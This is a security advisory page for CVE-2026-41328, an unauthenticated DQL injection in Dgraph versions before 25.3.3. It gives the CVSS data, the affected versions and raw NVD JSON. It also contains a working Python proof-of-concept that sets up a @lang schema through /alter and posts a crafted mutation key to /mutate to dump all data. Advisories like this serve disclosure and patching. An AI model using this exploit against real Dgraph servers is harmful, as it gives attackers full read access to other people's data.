Security Vulnerability Report
中文
CVE-2026-41328 CVSS 9.1 CRITICAL

CVE-2026-41328

Published: 2026-04-24 19:17:13
Last Modified: 2026-04-28 18:31:10

Description

Dgraph is an open source distributed GraphQL database. Prior to 25.3.3, a vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled. The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position. The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response. This vulnerability is fixed in 25.3.3.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:* - VULNERABLE
Dgraph < 25.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target = "http://localhost:8080" # Step 1: Setup schema with @lang to enable the vulnerable code path # This creates a predicate that accepts language tags schema = """ test: string @index(exact) @lang . """ requests.post(f"{target}/alter", data=schema) # Step 2: Exploit the DQL injection via JSON mutation # The injection payload closes the eq() function, adds a query block, and comments out the rest # Key format: predicateName@injection_payload injection_payload = { # Payload explanation: ) { func: all() { test } } # # 1. ')' closes the eq("test", "val") call inside addQueryIfUnique # 2. '{ func: all() { test } }' is the injected DQL query block # 3. '#' comments out the trailing syntax like '))' "test@) { all(func: has(test)) { uid test } } #": "value" } response = requests.post(f"{target}/mutate?commitNow=true", json=injection_payload) print("Status Code:", response.status_code) print("Response:", response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41328", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:12.553", "lastModified": "2026-04-28T18:31:09.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.3.3, a vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled. The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position. The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response. This vulnerability is fixed in 25.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-943"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:*", "versionEndExcluding": "25.3.3", "matchCriteriaId": "03E6E13D-4051-49C6-BDFB-3B66E2002401"}]}]}], "references": [{"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-x92x-px7w-4gx4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-x92x-px7w-4gx4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}